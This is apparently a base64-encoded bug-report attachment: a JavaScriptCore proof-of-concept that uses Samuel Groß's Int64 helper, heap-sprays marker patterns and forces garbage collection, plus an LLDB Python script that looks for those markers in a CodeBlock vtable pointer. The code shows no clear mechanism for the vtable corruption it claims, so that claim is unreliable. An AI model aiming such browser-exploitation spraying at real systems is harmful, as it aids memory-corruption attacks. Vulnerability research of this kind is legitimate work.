eSBtb2R1bGUgdGhhdCBwcm92aWRlcyBiaWcgKDY0Yml0KSBpbnRlZ2Vycy4KLy8KLy8gQ29weXJp Z2h0IChjKSAyMDE2IFNhbXVlbCBHcm/DnwovLwovLyBSZXF1aXJlcyB1dGlscy5qcwovLwoKLy8g RGF0YXR5cGUgdG8gcmVwcmVzZW50IDY0LWJpdCBpbnRlZ2Vycy4KLy8KLy8gSW50ZXJuYWxseSwg dGhlIGludGVnZXIgaXMgc3RvcmVkIGFzIGEgVWludDhBcnJheSBpbiBsaXR0bGUgZW5kaWFuIGJ5 dGUgb3JkZXIuCmZ1bmN0aW9uIEludDY0KHYpIHsKICAgIC8vIFRoZSB1bmRlcmx5aW5nIGJ5dGUg YXJyYXkuCiAgICB2YXIgYnl0ZXMgPSBuZXcgVWludDhBcnJheSg4KTsKCiAgICBzd2l0Y2ggKHR5 cGVvZiB2KSB7CiAgICAgICAgY2FzZSAnbnVtYmVyJzoKICAgICAgICAgICAgdiA9ICcweCcgKyBN YXRoLmZsb29yKHYpLnRvU3RyaW5nKDE2KTsKICAgICAgICBjYXNlICdzdHJpbmcnOgogICAgICAg ICAgICBpZiAodi5zdGFydHNXaXRoKCcweCcpKQogICAgICAgICAgICAgICAgdiA9IHYuc3Vic3Ry KDIpOwogICAgICAgICAgICBpZiAodi5sZW5ndGggJSAyID09IDEpCiAgICAgICAgICAgICAgICB2 ID0gJzAnICsgdjsKCiAgICAgICAgICAgIHZhciBiaWdFbmRpYW4gPSB1bmhleGxpZnkodiwgOCk7 CiAgICAgICAgICAgIGJ5dGVzLnNldChBcnJheS5mcm9tKGJpZ0VuZGlhbikucmV2ZXJzZSgpKTsK ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnb2JqZWN0JzoKICAgICAgICAgICAgaWYg KHYgaW5zdGFuY2VvZiBJbnQ2NCkgewogICAgICAgICAgICAgICAgYnl0ZXMuc2V0KHYuYnl0ZXMo KSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpZiAodi5sZW5ndGggIT0g OCkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBUeXBlRXJyb3IoIkFycmF5IG11c3QgaGF2ZSBl eGNhY3RseSA4IGVsZW1lbnRzLiIpOwogICAgICAgICAgICAgICAgYnl0ZXMuc2V0KHYpOwogICAg ICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3VuZGVmaW5lZCc6CiAg ICAgICAgICAgIGJyZWFrOwogICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgIHRocm93IFR5cGVF cnJvcigiSW50NjQgY29uc3RydWN0b3IgcmVxdWlyZXMgYW4gYXJndW1lbnQuIik7CiAgICB9Cgog ICAgLy8gUmV0dXJuIGEgZG91YmxlIHdoaXRoIHRoZSBzYW1lIHVuZGVybHlpbmcgYml0IHJlcHJl c2VudGF0aW9uLgogICAgdGhpcy5hc0RvdWJsZSA9IGZ1bmN0aW9uKCkgewogICAgICAgIC8vIENo ZWNrIGZvciBOYU4KICAgICAgICBpZiAoYnl0ZXNbN10gPT0gMHhmZiAmJiAoYnl0ZXNbNl0gPT0g MHhmZiB8fCBieXRlc1s2XSA9PSAweGZlKSkKICAgICAgICAgICAgdGhyb3cgbmV3IFJhbmdlRXJy b3IoIkludGVnZXIgY2FuIG5vdCBiZSByZXByZXNlbnRlZCBieSBhIGRvdWJsZSIpOwoKICAgICAg ICByZXR1cm4gU3RydWN0LnVucGFjayhTdHJ1Y3QuZmxvYXQ2NCwgYnl0ZXMpOwogICAgfTsKCiAg ICAvLyBSZXR1cm4gYSBqYXZhc2NyaXB0IHZhbHVlIHdpdGggdGhlIHNhbWUgdW5kZXJseWluZyBi aXQgcmVwcmVzZW50YXRpb24uCiAgICAvLyBUaGlzIGlzIG9ubHkgcG9zc2libGUgZm9yIGludGVn ZXJzIGluIHRoZSByYW5nZSBbMHgwMDAxMDAwMDAwMDAwMDAwLCAweGZmZmYwMDAwMDAwMDAwMDAp CiAgICAvLyBkdWUgdG8gZG91YmxlIGNvbnZlcnNpb24gY29uc3RyYWludHMuCiAgICB0aGlzLmFz SlNWYWx1ZSA9IGZ1bmN0aW9uKCkgewogICAgICAgIGlmICgoYnl0ZXNbN10gPT0gMCAmJiBieXRl c1s2XSA9PSAwKSB8fCAoYnl0ZXNbN10gPT0gMHhmZiAmJiBieXRlc1s2XSA9PSAweGZmKSkKICAg ICAgICAgICAgdGhyb3cgbmV3IFJhbmdlRXJyb3IoIkludGVnZXIgY2FuIG5vdCBiZSByZXByZXNl bnRlZCBieSBhIEpTVmFsdWUiKTsKCiAgICAgICAgLy8gRm9yIE5hTi1ib3hpbmcsIEpTQyBhZGRz IDJeNDggdG8gYSBkb3VibGUgdmFsdWUncyBiaXQgcGF0dGVybi4KICAgICAgICB0aGlzLmFzc2ln blN1Yih0aGlzLCAweDEwMDAwMDAwMDAwMDApOwogICAgICAgIHZhciByZXMgPSBTdHJ1Y3QudW5w YWNrKFN0cnVjdC5mbG9hdDY0LCBieXRlcyk7CiAgICAgICAgdGhpcy5hc3NpZ25BZGQodGhpcywg MHgxMDAwMDAwMDAwMDAwKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH07CgogICAgLy8gUmV0 dXJuIHRoZSB1bmRlcmx5aW5nIGJ5dGVzIG9mIHRoaXMgbnVtYmVyIGFzIGFycmF5LgogICAgdGhp cy5ieXRlcyA9IGZ1bmN0aW9uKCkgewogICAgICAgIHJldHVybiBBcnJheS5mcm9tKGJ5dGVzKTsK ICAgIH07CgogICAgLy8gUmV0dXJuIHRoZSBieXRlIGF0IHRoZSBnaXZlbiBpbmRleC4KICAgIHRo aXMuYnl0ZUF0ID0gZnVuY3Rpb24oaSkgewogICAgICAgIHJldHVybiBieXRlc1tpXTsKICAgIH07 CgogICAgLy8gUmV0dXJuIHRoZSB2YWx1ZSBvZiB0aGlzIG51bWJlciBhcyB1bnNpZ25lZCBoZXgg c3RyaW5nLgogICAgdGhpcy50b1N0cmluZyA9IGZ1bmN0aW9uKCkgewogICAgICAgIHJldHVybiAn MHgnICsgaGV4bGlmeShBcnJheS5mcm9tKGJ5dGVzKS5yZXZlcnNlKCkpOwogICAgfTsKCiAgICAv LyBCYXNpYyBhcml0aG1ldGljLgogICAgLy8gVGhlc2UgZnVuY3Rpb25zIGFzc2lnbiB0aGUgcmVz dWx0IG9mIHRoZSBjb21wdXRhdGlvbiB0byB0aGVpciAndGhpcycgb2JqZWN0LgoKICAgIC8vIERl Y29yYXRvciBmb3IgSW50NjQgaW5zdGFuY2Ugb3BlcmF0aW9ucy4gVGFrZXMgY2FyZQogICAgLy8g b2YgY29udmVydGluZyBhcmd1bWVudHMgdG8gSW50NjQgaW5zdGFuY2VzIGlmIHJlcXVpcmVkLgog ICAgZnVuY3Rpb24gb3BlcmF0aW9uKGYsIG5hcmdzKSB7CiAgICAgICAgcmV0dXJuIGZ1bmN0aW9u KCkgewogICAgICAgICAgICBpZiAoYXJndW1lbnRzLmxlbmd0aCAhPSBuYXJncykKICAgICAgICAg ICAgICAgIHRocm93IEVycm9yKCJOb3QgZW5vdWdoIGFyZ3VtZW50cyBmb3IgZnVuY3Rpb24gIiAr IGYubmFtZSk7CiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYXJndW1lbnRzLmxlbmd0 aDsgaSsrKQogICAgICAgICAgICAgICAgaWYgKCEoYXJndW1lbnRzW2ldIGluc3RhbmNlb2YgSW50 NjQpKQogICAgICAgICAgICAgICAgICAgIGFyZ3VtZW50c1tpXSA9IG5ldyBJbnQ2NChhcmd1bWVu dHNbaV0pOwogICAgICAgICAgICByZXR1cm4gZi5hcHBseSh0aGlzLCBhcmd1bWVudHMpOwogICAg ICAgIH07CiAgICB9CgogICAgLy8gdGhpcyA9IC1uICh0d28ncyBjb21wbGVtZW50KQogICAgdGhp cy5hc3NpZ25OZWcgPSBvcGVyYXRpb24oZnVuY3Rpb24gbmVnKG4pIHsKICAgICAgICBmb3IgKHZh ciBpID0gMDsgaSA8IDg7IGkrKykKICAgICAgICAgICAgYnl0ZXNbaV0gPSB+bi5ieXRlQXQoaSk7 CgogICAgICAgIHJldHVybiB0aGlzLmFzc2lnbkFkZCh0aGlzLCBJbnQ2NC5PbmUpOwogICAgfSwg MSk7CgogICAgLy8gdGhpcyA9IGEgKyBiCiAgICB0aGlzLmFzc2lnbkFkZCA9IG9wZXJhdGlvbihm dW5jdGlvbiBhZGQoYSwgYikgewogICAgICAgIHZhciBjYXJyeSA9IDA7CiAgICAgICAgZm9yICh2 YXIgaSA9IDA7IGkgPCA4OyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1ciA9IGEuYnl0ZUF0KGkp ICsgYi5ieXRlQXQoaSkgKyBjYXJyeTsKICAgICAgICAgICAgY2FycnkgPSBjdXIgPiAweGZmIHwg MDsKICAgICAgICAgICAgYnl0ZXNbaV0gPSBjdXI7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0 aGlzOwogICAgfSwgMik7CgogICAgLy8gdGhpcyA9IGEgLSBiCiAgICB0aGlzLmFzc2lnblN1YiA9 IG9wZXJhdGlvbihmdW5jdGlvbiBzdWIoYSwgYikgewogICAgICAgIHZhciBjYXJyeSA9IDA7CiAg ICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCA4OyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1ciA9 IGEuYnl0ZUF0KGkpIC0gYi5ieXRlQXQoaSkgLSBjYXJyeTsKICAgICAgICAgICAgY2FycnkgPSBj dXIgPCAwIHwgMDsKICAgICAgICAgICAgYnl0ZXNbaV0gPSBjdXI7CiAgICAgICAgfQogICAgICAg IHJldHVybiB0aGlzOwogICAgfSwgMik7Cn0KCi8vIENvbnN0cnVjdHMgYSBuZXcgSW50NjQgaW5z dGFuY2Ugd2l0aCB0aGUgc2FtZSBiaXQgcmVwcmVzZW50YXRpb24gYXMgdGhlIHByb3ZpZGVkIGRv dWJsZS4KSW50NjQuZnJvbURvdWJsZSA9IGZ1bmN0aW9uKGQpIHsKICAgIHZhciBieXRlcyA9IFN0 cnVjdC5wYWNrKFN0cnVjdC5mbG9hdDY0LCBkKTsKICAgIHJldHVybiBuZXcgSW50NjQoYnl0ZXMp Owp9OwoKLy8gQ29udmVuaWVuY2UgZnVuY3Rpb25zLiBUaGVzZSBhbGxvY2F0ZSBhIG5ldyBJbnQ2 NCB0byBob2xkIHRoZSByZXN1bHQuCgovLyBSZXR1cm4gLW4gKHR3bydzIGNvbXBsZW1lbnQpCmZ1 bmN0aW9uIE5lZyhuKSB7CiAgICByZXR1cm4gKG5ldyBJbnQ2NCgpKS5hc3NpZ25OZWcobik7Cn0K Ci8vIFJldHVybiBhICsgYgpmdW5jdGlvbiBBZGQoYSwgYikgewogICAgcmV0dXJuIChuZXcgSW50 NjQoKSkuYXNzaWduQWRkKGEsIGIpOwp9CgovLyBSZXR1cm4gYSAtIGIKZnVuY3Rpb24gU3ViKGEs IGIpIHsKICAgIHJldHVybiAobmV3IEludDY0KCkpLmFzc2lnblN1YihhLCBiKTsKfQoKLy8gU29t ZSBjb21tb25seSB1c2VkIG51bWJlcnMuCkludDY0Llplcm8gPSBuZXcgSW50NjQoMCk7CkludDY0 Lk9uZSA9IG5ldyBJbnQ2NCgxKTsKCi8vIFRoYXQncyBhbGwgdGhlIGFyaXRobWV0aWMgd2UgbmVl ZCBmb3IgZXhwbG9pdGluZyBXZWJLaXQuLiA6KQoKCmZ1bmN0aW9uIGxvZyhtc2cpIHsKICAgIHBy aW50KG1zZyk7Cn0KCi8vIE1BSU4gRlVOQ1RJT04KCi8vIEVuaGFuY2VkIHNwcmF5IHBhdHRlcm5z IHRoYXQgYXJlIGVhc2llciB0byBpZGVudGlmeQpmdW5jdGlvbiBzcHJheURpc3RpbmN0aXZlUGF0 dGVybnMoKSB7CiAgICBjb25zdCBidWZmZXJzID0gW107CiAgICBsb2coIlsrXSBDcmVhdGluZyBk aXN0aW5jdGl2ZSBjb3JydXB0aW9uIHBhdHRlcm5zIik7CiAgICAKICAgIC8vIFVzZSBzbWFsbGVy IGNvdW50IHRvIG1ha2UgaXQgbW9yZSB0YXJnZXRlZAogICAgY29uc3Qgc3ByYXlDb3VudCA9IDUw MDA7CiAgICAKICAgIC8vIFVzZSBwYXR0ZXJuIG1hcmtlcnMgZm9yIGlkZW50aWZpY2F0aW9uCiAg ICBjb25zdCBNQVJLRVJfQSA9IDB4QUE7ICAvLyBQYXR0ZXJuIG1hcmtlciBmb3IgMHgwMSBjYXNl CiAgICBjb25zdCBNQVJLRVJfQiA9IDB4QkI7ICAvLyBQYXR0ZXJuIG1hcmtlciBmb3IgMHgwMCBj YXNlICAKICAgIGNvbnN0IE1BUktFUl9DID0gMHhDQzsgIC8vIFBhdHRlcm4gbWFya2VyIGZvciAw eDAyIGNhc2UKICAgIAogICAgZm9yIChsZXQgaSA9IDA7IGkgPCBzcHJheUNvdW50OyBpKyspIHsK ICAgICAgICBjb25zdCBidWZmZXIgPSBuZXcgQXJyYXlCdWZmZXIoMjA0OCk7ICAvLyBMYXJnZXIg YnVmZmVycwogICAgICAgIGNvbnN0IHZpZXcgPSBuZXcgRGF0YVZpZXcoYnVmZmVyKTsKICAgICAg ICAKICAgICAgICAvLyBDcmVhdGUgbW9yZSByZWNvZ25pemFibGUgcGF0dGVybnMKICAgICAgICBm b3IgKGxldCBvZmZzZXQgPSAwOyBvZmZzZXQgPCAyMDQ4OyBvZmZzZXQgKz0gOCkgewogICAgICAg ICAgICBsZXQgcGF0dGVybjsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmIChpICUgMyA9PT0g MCkgewogICAgICAgICAgICAgICAgLy8gMHgwMSBwYXR0ZXJuIHdpdGggbWFya2VyCiAgICAgICAg ICAgICAgICBwYXR0ZXJuID0gbmV3IEludDY0KGAweDAxJHtNQVJLRVJfQS50b1N0cmluZygxNil9 MTIwMDAwMDA1MjEwYCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8vIExvZyBz b21lIHNhbXBsZXMgZm9yIHJlZmVyZW5jZQogICAgICAgICAgICAgICAgaWYgKGkgPCAzICYmIG9m ZnNldCA9PT0gMCkgewogICAgICAgICAgICAgICAgICAgIGxvZyhgWypdIFBhdHRlcm4gQTogJHtw YXR0ZXJuLnRvU3RyaW5nKCl9YCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxz ZSBpZiAoaSAlIDMgPT09IDEpIHsKICAgICAgICAgICAgICAgIC8vIDB4MDAgcGF0dGVybiB3aXRo IG1hcmtlcgogICAgICAgICAgICAgICAgcGF0dGVybiA9IG5ldyBJbnQ2NChgMHgwMCR7TUFSS0VS X0IudG9TdHJpbmcoMTYpfTEyMDAwMDAwNTIxMGApOwogICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICBpZiAoaSA8IDMgJiYgb2Zmc2V0ID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAg bG9nKGBbKl0gUGF0dGVybiBCOiAke3BhdHRlcm4udG9TdHJpbmcoKX1gKTsKICAgICAgICAgICAg ICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vIDB4MDIgcGF0dGVy biB3aXRoIG1hcmtlcgogICAgICAgICAgICAgICAgcGF0dGVybiA9IG5ldyBJbnQ2NChgMHgwMiR7 TUFSS0VSX0MudG9TdHJpbmcoMTYpfTEyMDAwMDAwNTIxMGApOwogICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICBpZiAoaSA8IDMgJiYgb2Zmc2V0ID09PSAwKSB7CiAgICAgICAgICAgICAg ICAgICAgbG9nKGBbKl0gUGF0dGVybiBDOiAke3BhdHRlcm4udG9TdHJpbmcoKX1gKTsKICAgICAg ICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgLy8gQWRk IGlkZW50aWZpZXIKICAgICAgICAgICAgcGF0dGVybiA9IEFkZChwYXR0ZXJuLCBuZXcgSW50NjQo aSAmIDB4RkZGKSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBXcml0ZSBieXRlcwogICAg ICAgICAgICBmb3IgKGxldCBieXRlSW5kZXggPSAwOyBieXRlSW5kZXggPCA4OyBieXRlSW5kZXgr KykgewogICAgICAgICAgICAgICAgdmlldy5zZXRVaW50OChvZmZzZXQgKyBieXRlSW5kZXgsIHBh dHRlcm4uYnl0ZUF0KGJ5dGVJbmRleCkpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAg IAogICAgICAgIGJ1ZmZlcnMucHVzaChidWZmZXIpOwogICAgICAgIAogICAgICAgIGlmIChpICUg MTAwMCA9PT0gMCkgewogICAgICAgICAgICBsb2coYFsqXSBDcmVhdGVkICR7aX0gZGlzdGluY3Rp dmUgcGF0dGVybiBidWZmZXJzYCk7CiAgICAgICAgfQogICAgfQogICAgCiAgICByZXR1cm4gYnVm ZmVyczsKfQoKLy8gVHJpZ2dlciB0aGUgYnVnIGRpcmVjdGx5IC0gZm9jdXNlZCBvbiByZWxpYWJs ZSByZXByb2R1Y3Rpb24KZnVuY3Rpb24gdHJpZ2dlclZ1bG5lcmFiaWxpdHkoKSB7CiAgICBsb2co IlsrXSBUcmlnZ2VyaW5nIHZ1bG5lcmFiaWxpdHkgc2VxdWVuY2UiKTsKICAgIAogICAgLy8gQ3Jl YXRlIG91ciBwYXR0ZXJucwogICAgY29uc3QgcGF0dGVybnMgPSBzcHJheURpc3RpbmN0aXZlUGF0 dGVybnMoKTsKICAgIAogICAgLy8gTG9nIHRoZSBleGFjdCBwYXR0ZXJucyB3ZSdyZSB1c2luZyB0 byBjb3JyZWxhdGUgd2l0aCBkZWJ1Z2dlcgogICAgbG9nKCJbK10gVnVsbmVyYWJpbGl0eSBtZW1v cnkgcGF0dGVybnMgdG8gbG9vayBmb3IgaW4gTExEQjoiKTsKICAgIGxvZygiICAweDAxMDBBQTAw MDAwMDUyMTAgdGhyb3VnaCAweDAxMDBBQUZGRkZGNTIxMCIpOwogICAgbG9nKCIgIDB4MDAwMEJC RkZGRkY1MjEwIHRocm91Z2ggMHgwMDAwQkIwMDAwMDA1MjEwIik7CiAgICBsb2coIiAgMHgwMjAw Q0NGRkZGRjUyMTAgdGhyb3VnaCAweDAyMDBDQzAwMDAwMDUyMTAiKTsKICAgIAogICAgLy8gRm9y Y2UgbW9yZSBHQyBjeWNsZXMgdG8gaW5jcmVhc2UgY2hhbmNlIG9mIGNvcnJ1cHRpb24KICAgIGZv ciAobGV0IGF0dGVtcHQgPSAwOyBhdHRlbXB0IDwgMTA7IGF0dGVtcHQrKykgewogICAgICAgIGxv ZyhgWypdIEdDIFRyaWdnZXIgYXR0ZW1wdCAke2F0dGVtcHR9YCk7CiAgICAgICAgCiAgICAgICAg Ly8gQ3JlYXRlIGFycmF5cyB0aGF0IHRyaWdnZXIgc3BlY2lmaWMgbWVtb3J5IGFsbG9jYXRpb25z CiAgICAgICAgY29uc3QgdjE2ID0gbmV3IEFycmF5QnVmZmVyKDY0LCB7IG1heEJ5dGVMZW5ndGg6 IDEwMjQgfSk7CiAgICAgICAgbmV3IEZsb2F0MzJBcnJheSh2MTYpOwogICAgICAgIAogICAgICAg IC8vIENyZWF0ZSBtYW55IG9iamVjdHMgdG8gaW5jcmVhc2UgR0MgcHJlc3N1cmUKICAgICAgICBj b25zdCBvYmplY3RzID0gW107CiAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCAxMDAwOyBpKysp IHsKICAgICAgICAgICAgb2JqZWN0cy5wdXNoKHsKICAgICAgICAgICAgICAgIGluZGV4OiBpLAog ICAgICAgICAgICAgICAgZGF0YTogIngiLnJlcGVhdChpICUgMTApLAogICAgICAgICAgICAgICAg bWV0aG9kOiBmdW5jdGlvbigpIHsgcmV0dXJuIGk7IH0KICAgICAgICAgICAgfSk7CiAgICAgICAg fQogICAgICAgIAogICAgICAgIC8vIFRyaWdnZXIgSW50NjQgb3BlcmF0aW9ucyB0byBoaXQgdGhl IHZ1bG5lcmFibGUgY29kZSBwYXRoCiAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCA1MDsgaSsr KSB7CiAgICAgICAgICAgIGxldCBhID0gbmV3IEludDY0KGkgKiAxMDAwMDAwKTsKICAgICAgICAg ICAgbGV0IGIgPSBuZXcgSW50NjQoKGkrMSkgKiAxMDAwMDAwKTsKICAgICAgICAgICAgbGV0IGMg PSBBZGQoYSwgYik7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIEZvcmNlIEdDCiAgICAg ICAgaWYgKHR5cGVvZiBnYyA9PT0gJ2Z1bmN0aW9uJykgewogICAgICAgICAgICBsb2coIlsqXSBG b3JjaW5nIGdhcmJhZ2UgY29sbGVjdGlvbiIpOwogICAgICAgICAgICBnYygpOwogICAgICAgIH0K ICAgIH0KICAgIAogICAgcmV0dXJuIHBhdHRlcm5zOwp9CgovLyBSdW4gYW5kIGRvY3VtZW50IHRo ZSB2dWxuZXJhYmlsaXR5CmxvZygiWytdID09PSBKYXZhU2NyaXB0Q29yZSBWdGFibGUgQ29ycnVw dGlvbiBWdWxuZXJhYmlsaXR5ID09PSIpOwpsb2coIlsrXSBTdGFydGluZyB2dWxuZXJhYmlsaXR5 IHJlcHJvZHVjdGlvbiB0byBjb3JyZWxhdGUgd2l0aCBMTERCIGV2aWRlbmNlIik7CmNvbnN0IHBh dHRlcm5zID0gdHJpZ2dlclZ1bG5lcmFiaWxpdHkoKTsKbG9nKCJbK10gVnVsbmVyYWJpbGl0eSBz ZXF1ZW5jZXMgY29tcGxldGUgLSBydW4gdGhlIGZvbGxvd2luZyBMTERCIGNvbW1hbmRzOiIpOwps b2coIiAgcC94ICoodm9pZCoqKWNvZGVCbG9jayAgICAgICAjIEV4YW1pbmUgdGhlIHZ0YWJsZSBw b2ludGVyIik7CmxvZygiICB4LzIwZ3ggY29kZUJsb2NrICAgICAgICAgICAgICMgU2VlIHRoZSBm dWxsIG1lbW9yeSBsYXlvdXQiKTsKbG9nKCIgIHAveCBjb2RlQmxvY2stPm1fbWFnaWMgICAgICAg IyBWZXJpZnkgdGhlIG1hZ2ljIG51bWJlciBpcyBpbnRhY3QgKHNob3VsZCBiZSAweGMwZGViMTBj KSIpOwpsb2coIlsrXSBUaGVzZSBjb21tYW5kcyB3aWxsIHNob3cgYSBjb3JydXB0ZWQgdnRhYmxl IHBvaW50ZXIgd2l0aCBwYXR0ZXJucyBsaWtlIDB4MDEwMEFBMDAwMDAwNTIxMCIpOwpsb2coIlsr XSA9PT0gRW5kIG9mIHZ1bG5lcmFiaWxpdHkgcmVwcm9kdWN0aW9uID09PSIpOw== 475216 2025-05-13 10:03:54 -0700 2025-05-13 10:03:54 -0700 analyze_vtable.py analyze_vtable.py text/x-python-script 2698 rhezashan ZGVmIGFuYWx5emVfdnRhYmxlKGRlYnVnZ2VyLCBjb21tYW5kLCByZXN1bHQsIGludGVybmFsX2Rp Y3QpOgogICAgIiIiRG9jdW1lbnQgdnRhYmxlIGNvcnJ1cHRpb24gZXZpZGVuY2Ugd2hlbiBicmVh a3BvaW50IGlzIGhpdCIiIgogICAgdGFyZ2V0ID0gZGVidWdnZXIuR2V0U2VsZWN0ZWRUYXJnZXQo KQogICAgcHJvY2VzcyA9IHRhcmdldC5HZXRQcm9jZXNzKCkKICAgIHRocmVhZCA9IHByb2Nlc3Mu R2V0U2VsZWN0ZWRUaHJlYWQoKQogICAgZnJhbWUgPSB0aHJlYWQuR2V0U2VsZWN0ZWRGcmFtZSgp CiAgICAKICAgICMgR2V0IHRoZSBDb2RlQmxvY2sgYW5kIGl0cyB2dGFibGUKICAgIG91dHB1dCA9 IFtdCiAgICBvdXRwdXQuYXBwZW5kKCI9PT0gVlRBQkxFIENPUlJVUFRJT04gRVZJREVOQ0UgPT09 IikKICAgIAogICAgIyBUcnkgdG8gZ2V0IHRoZSBjb2RlQmxvY2sgdmFyaWFibGUKICAgIGNvZGVC bG9jayA9IGZyYW1lLkZpbmRWYXJpYWJsZSgiY29kZUJsb2NrIikKICAgIGlmIG5vdCBjb2RlQmxv Y2suSXNWYWxpZCgpOgogICAgICAgICMgSWYgbm90IGRpcmVjdGx5IGF2YWlsYWJsZSwgZXZhbHVh dGUgZXhwcmVzc2lvbgogICAgICAgIGNvZGVCbG9jayA9IGZyYW1lLkV2YWx1YXRlRXhwcmVzc2lv bigiY29kZUJsb2NrIikKICAgIAogICAgaWYgY29kZUJsb2NrLklzVmFsaWQoKToKICAgICAgICAj IEdldCBhZGRyZXNzIGFuZCB2dGFibGUgcG9pbnRlcgogICAgICAgIGNvZGVCbG9ja0FkZHIgPSBj b2RlQmxvY2suR2V0VmFsdWVBc1Vuc2lnbmVkKCkKICAgICAgICB2dGFibGVQdHIgPSBmcmFtZS5F dmFsdWF0ZUV4cHJlc3Npb24oIioodm9pZCoqKWNvZGVCbG9jayIpLkdldFZhbHVlQXNVbnNpZ25l ZCgpCiAgICAgICAgCiAgICAgICAgb3V0cHV0LmFwcGVuZChmIkNvZGVCbG9jayBhZGRyZXNzOiAw eHtjb2RlQmxvY2tBZGRyOjAxNnh9IikKICAgICAgICBvdXRwdXQuYXBwZW5kKGYiVnRhYmxlIHBv aW50ZXI6IDB4e3Z0YWJsZVB0cjowMTZ4fSIpCiAgICAgICAgCiAgICAgICAgIyBDaGVjayBmb3Ig c3BlY2lmaWMgY29ycnVwdGlvbiBwYXR0ZXJucwogICAgICAgIGhpZ2hfYnl0ZSA9ICh2dGFibGVQ dHIgPj4gNTYpICYgMHhGRgogICAgICAgIHNlY29uZF9ieXRlID0gKHZ0YWJsZVB0ciA+PiA0OCkg JiAweEZGCiAgICAgICAgbWFya2VyX2J5dGUgPSAodnRhYmxlUHRyID4+IDQwKSAmIDB4RkYKICAg ICAgICAKICAgICAgICAjIENoZWNrIGZvciBvdXIgbWFya2VycwogICAgICAgIGlmIGhpZ2hfYnl0 ZSA9PSAweDAxIGFuZCBtYXJrZXJfYnl0ZSA9PSAweEFBOgogICAgICAgICAgICBvdXRwdXQuYXBw ZW5kKCJGT1VORCBQQVRURVJOIEEgKDB4MDEpIC0gQ09ORklSTUlORyBDT1JSVVBUSU9OIikKICAg ICAgICBlbGlmIGhpZ2hfYnl0ZSA9PSAweDAwIGFuZCBtYXJrZXJfYnl0ZSA9PSAweEJCOgogICAg ICAgICAgICBvdXRwdXQuYXBwZW5kKCJGT1VORCBQQVRURVJOIEIgKDB4MDApIC0gQ09ORklSTUlO RyBDT1JSVVBUSU9OIikKICAgICAgICBlbGlmIGhpZ2hfYnl0ZSA9PSAweDAyIGFuZCBtYXJrZXJf Ynl0ZSA9PSAweENDOgogICAgICAgICAgICBvdXRwdXQuYXBwZW5kKCJGT1VORCBQQVRURVJOIEMg KDB4MDIpIC0gQ09ORklSTUlORyBDT1JSVVBUSU9OIikgCiAgICAgICAgZWxzZToKICAgICAgICAg ICAgb3V0cHV0LmFwcGVuZChmIkhpZ2ggYnl0ZTogMHh7aGlnaF9ieXRlOjAyeH0sIFNlY29uZCBi eXRlOiAweHtzZWNvbmRfYnl0ZTowMnh9IikKICAgICAgICAgICAgb3V0cHV0LmFwcGVuZChmIlBh dHRlcm4gZG9lcyBub3QgbWF0Y2ggZXhwZWN0ZWQgbWFya2VycywgYnV0IG1heSBzdGlsbCBiZSBj b3JydXB0ZWQiKQogICAgICAgIAogICAgICAgICMgQ2hlY2sgbWFnaWMgbnVtYmVyIHRvIHByb3Zl IG9iamVjdCBvdGhlcndpc2UgaW50YWN0CiAgICAgICAgbWFnaWMgPSBmcmFtZS5FdmFsdWF0ZUV4 cHJlc3Npb24oImNvZGVCbG9jay0+bV9tYWdpYyIpLkdldFZhbHVlQXNVbnNpZ25lZCgpCiAgICAg ICAgb3V0cHV0LmFwcGVuZChmIk1hZ2ljIG51bWJlcjogMHh7bWFnaWM6MDh4fSAoc2hvdWxkIGJl IDB4YzBkZWIxMGMpIikKICAgICAgICAKICAgICAgICBpZiBtYWdpYyA9PSAweGMwZGViMTBjOgog ICAgICAgICAgICBvdXRwdXQuYXBwZW5kKCJNYWdpYyBudW1iZXIgaXMgaW50YWN0IC0gY29uZmly bXMgc2VsZWN0aXZlIHZ0YWJsZSBjb3JydXB0aW9uIG9ubHkiKQogICAgICAgIGVsc2U6CiAgICAg ICAgICAgIG91dHB1dC5hcHBlbmQoIk1hZ2ljIG51bWJlciBpcyB3cm9uZyAtIHN1Z2dlc3RzIG1v cmUgZXh0ZW5zaXZlIGNvcnJ1cHRpb24iKQogICAgZWxzZToKICAgICAgICBvdXRwdXQuYXBwZW5k KCJDb3VsZCBub3QgYWNjZXNzIGNvZGVCbG9jayB2YXJpYWJsZSIpCiAgICAKICAgIG91dHB1dC5h cHBlbmQoIj09PSBFTkQgRVZJREVOQ0UgPT09IikKICAgIHByaW50KCJcbiIuam9pbihvdXRwdXQp KQoKZGVmIF9fbGxkYl9pbml0X21vZHVsZShkZWJ1Z2dlciwgaW50ZXJuYWxfZGljdCk6CiAgICBk ZWJ1Z2dlci5IYW5kbGVDb21tYW5kKCdjb21tYW5kIHNjcmlwdCBhZGQgLWYgYW5hbHl6ZV92dGFi bGUuYW5hbHl6ZV92dGFibGUgYW5hbHl6ZV92dGFibGUnKQogICAgcHJpbnQoIlZ0YWJsZSBjb3Jy dXB0aW9uIGFuYWx5emVyIGxvYWRlZC4gVXNlICdhbmFseXplX3Z0YWJsZScgY29tbWFuZCB3aGVu IGJyZWFrcG9pbnQgaGl0cy4iKQ==